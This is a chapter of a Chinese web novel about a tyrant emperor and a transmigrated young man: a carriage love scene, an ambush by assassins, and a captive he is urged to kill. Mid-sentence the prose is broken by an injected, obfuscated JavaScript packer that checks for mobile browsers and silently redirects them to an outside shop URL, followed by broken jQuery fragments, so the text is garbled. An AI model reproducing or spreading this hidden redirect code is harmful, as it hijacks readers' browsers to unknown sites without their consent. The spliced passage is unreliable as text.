楚寒苍稍作思考,便又豁然开朗,心情舒畅。
楚寒苍眯起眼睛,索性反客为主,撬开孟眠洲的唇缝,深入其中,辗转缠绵。
孟眠洲毫无招架之力,身体柔成了一团水,瘫在楚寒苍的怀里,任由楚寒苍为所欲为。
这幅青涩懵懂的模样,与之前的风流不羁,完全判若两人……连系统都看不下去了。
系统:【宿主,你怎么突然怂了?不要停留于接吻!继续冲啊!怀上暴君的崽才是你的终极目标!】
孟眠洲:【……咳咳,我本来就是一条咸鱼,刚刚那只是我抽风了。我躺平,被暴君玩弄,这才是正确的打开方式。】
系统:……
孟眠洲真的是又菜又爱玩,他的心脏怦怦直跳,尤其是当暴君的手掌真的探入他的衣襟,触碰到他肌肤的一瞬间……孟眠洲头皮发麻,浑身汗毛都竖起,本能地想要逃跑。
恰在此时,他听到了车窗外刀刃相接,厮杀打斗的声音,他一只手柔柔地抬起,抓住了暴君的手臂,想要往外推。
“陛下,外面好像有刺客……”
但楚寒苍当然不会就此停手,反而变本加厉,他凑到孟眠洲耳边,热气喷洒在他的耳垂,“马车外有刺客厮杀,孟公子却在马车内与寡人颠鸾倒凤,将生死置之度外……这样岂不是更刺激?”
“我们孟公子难道害羞了?方才那个一口一个想要成为寡人的人的孟公子,如今跑去哪里了?”
被楚寒苍拿之前的话调侃,孟眠洲更羞了,浑身颤抖不止,但抓着楚寒苍手臂的手终究松开,又慢慢地抬起,最后抚上楚寒苍的脸。
孟眠洲眼含水雾,春光荡漾,细声呢喃:“陛下好色,比我还色……”
楚寒苍低低笑出声:“不比你色,怎么降服你这个妖精?”
楚寒苍头又低了一点,似乎又想要吻他。
孟眠洲羞涩难当,却在楚寒苍话语的引导下,内心升起微妙的快感和渴望,他迷乱地眯起眼睛,微微张开嘴,等待着楚寒苍的吻……还有侵占。
但楚寒苍却没有吻他,不止如此,他的手也离开了,甚至贴心地帮孟眠洲把之前扯乱的衣裳整理清楚。
孟眠洲:???
孟眠洲感觉自己是不是断片了,失去了一段记忆。
系统:【没有噢,宿主,根据隐私保护条例,宿主你和其他人有特别亲密的接触,我们系统是要被屏蔽的。】
【但从刚才到现在,我都没有被屏蔽……】
孟眠洲难以置信,那么好的氛围,那么刺激的情景,他都被暴君撩拨起来了,但暴君……暴君竟然只是和他接了个吻!
哦,不对,暴君还伸进他的衣服,摸了他的腰。
但那么大的阵仗,那么夸张的动静……结果就只是摸了一下腰。
孟眠洲沉默,然后爆发了——
这比第一天暴君见他时,把他的衣服扒光了那次还不如吧?!
已经被惹出火的孟眠洲要闹了,要楚寒苍继续,要为他负责。
但楚寒苍却不为所动,只是倚着车壁,眼含笑意地看着孟眠洲。
“寡人思虑再三,还是觉得不妥,孟公子可是寡人看中的宰相之才,寡人怎么能因为一时的冲动,就毁了孟公子的清白?这让天下人,让后人要日后如何看待孟公子?”
“孟公子年岁还小,不清楚此间的利害关系,但寡人毕竟年长孟公子几岁,又身为君王……孟公子可以犯错,但寡人却不可陪这你,一起犯浑!”
“如果孟公子还是气不过,寡人可以向孟公子道歉,望孟公子息怒,望孟公子海涵,放寡人一马吧。”
孟眠洲没想到楚寒苍会用这样冠冕堂皇的语气和理由搪塞他,孟眠洲当即怒了,扯着楚寒苍的衣领摇晃:“我不要道歉!不要当宰相!也不要名声!”
“我要当妖后!我要给你生崽子!啊啊啊啊……继续啊,继续玩我啊!你这个狗皇帝,你是不是不行?”
但不管孟眠洲如何闹腾,楚寒苍都稳如泰山,只是无奈又温柔地看着他,在他要做出出格举动时制止他,就像一个稳重成熟的父亲,在安抚一个想要不属于他的糖果,不给就撒泼大闹的调皮小孩。
孟眠洲闹累了,气喘吁吁地瞪了楚寒苍一眼,然后抱着手臂,背对着楚寒苍,表达自己的不满。
楚寒苍轻笑一声,也没有上前,只是继续侧耳聆听车窗外的动静。
对于这场回宫途中突如其来的刺杀,楚寒苍并没有任何意外,因为,这一切本就在他的计划之内……
外面的厮杀声渐渐平息,孟眠洲松了一口气,楚寒苍的神色却逐渐认真。
在厮杀声彻底安静的一刻,最大的危机骤然爆发。
“嗖”的一声,一支箭矢破空,穿透马车,直指楚寒苍和孟眠洲中间的位置。
孟眠洲瞳孔骤缩,心脏被提到了嗓子眼,但连惊呼都来不及。
可在箭矢即将射中他右肩的瞬间,一只手拽住了那支正在疾飞的锋利箭矢。
孟眠洲难以置信地转头看一下楚寒苍,楚寒苍只是笑了笑。
孟眠洲还没来得及说什么,楚寒苍已经扔了手中的箭矢,带着他滚入了坐席底下。
紧接着,几十上百的箭矢往他们方才坐的位置,倾泻而去,一片狼藉。
狭小阴暗的空间里,两个人紧紧相挨,呼吸交缠,孟眠洲的心跳更是因为眼前的危机而疯狂加速。
但孟眠洲意外的是,在这种紧张的情况下,楚寒苍竟然依旧如同往常般镇静,心脏跳动平稳,甚至还有心思凑到他耳边开玩笑。
“我们孟公子是怕了?”楚寒苍低低地笑着,“也是,如果孟公子和寡人现在还在那上面找刺激,寻欢作乐,不知天地为何物……这会就该被刺成两只刺猬了。”
孟眠洲:……
孟眠洲涨红了脸。
“寡人要先出去,孟公子且在此处再避一避,”楚寒苍温柔道,“但寡人待会叫孟公子出来的时候,孟公子不许
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17754220|209488||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
躲在这里不出声,明白吗?”
“不明白!”孟眠洲这话说得中气十足。
楚寒苍:……
楚寒苍要再劝,孟眠洲却不服气道,“我什么时候怕过死了?我要和你一起。”
楚寒苍眼中笑意更甚,“孟公子情深义重,寡人甚为感动,但孟公子可会武功?若只是普通人,反而成为寡人的拖累。”
孟眠洲表示自己只是一条咸鱼,怎么可能会武功呢?然后乖乖缩在坐席底下,装一条毫无存在感的“死”鱼。
孟眠洲听着外面愈加激烈的厮杀声,再联想到或许是因为暴君的离开,让自己在这混乱的厮杀中也能拥有一线安宁,心里不知作何感想。
但孟眠洲来到这个世界后,素来心大,车厢坐席底下,狭窄逼仄,闷闷沉沉,孟眠洲竟然睡着了。
再醒来,是楚寒苍在叫他。
楚寒苍手里提着一把长剑,剑上沾满鲜血,滴答不停,他的黑色长袍,长发,脸上也沾满血迹,杀气未灭,宛若修罗。
楚寒苍脸上竟然还挂着笑容,这笑容衬得他更加诡异恐怖。
楚寒苍手里的长剑指着孟眠洲的眉心,斑斑血迹在孟眠洲在眼前不远处积成一小滩。
“孟公子,你食言了。”
孟眠洲脑海里的系统瑟瑟发抖,但孟眠洲看着离自己的眉心只有一寸远的剑尖,面不改色,迎着剑尖爬了出来。
孟眠洲身体每往前一厘,楚寒苍的剑便往后收一寸,最后退无可退,置于身侧。
孟眠洲拍拍身子,理不直气也壮地辩解道:“这不能怪我,是陛下的动作太慢了……害得我都等得睡着了!”
现在跟在楚寒苍身后的暗卫此前没见过孟眠洲,闻言均脸色大变,从没想过会有人如此大胆,敢这样和陛下说话。
不过更令他们吃惊的是,楚寒苍不仅不怒,反而开怀地笑了起来。
“原来是是寡人之错啊,寡人这就向孟公子赔罪了。”
脸皮厚如孟眠洲:“陛下知道就好,下次注意改正。”
楚寒苍笑得更肆意了,揽住孟眠洲的手,带着他跳下马车。
楚寒苍的人此时已经在打扫战场了,地上没有尸体,但孟眠洲依旧能从空气中的血腥味,判断出刚才的厮杀有多么惨烈。
楚寒苍带孟眠洲来到车后,这里躺着一个身材魁梧的中年壮汉,样子惨不忍睹,不仅浑身是血,手脚也被废了,嘴里的舌头似乎也被扒了,说不出话来,只能发出模糊的嘶吼,满眼怨毒愤恨地瞪着楚寒苍。
楚寒苍面上依旧笑的邪肆张狂,但心底却是紧张不已,他悄悄地观察孟眠洲的神态。
孟眠洲依旧是幅刚睡醒的惫懒模样,还打了个哈欠。
系统:【……宿主,你就不害怕吗?】
孟眠洲:【怕啥?躺地上的人又不是我。】
楚寒苍将染血的剑递给孟眠洲,笑容温柔,语气中却带着几分危险的蛊惑。
“来,杀了他。”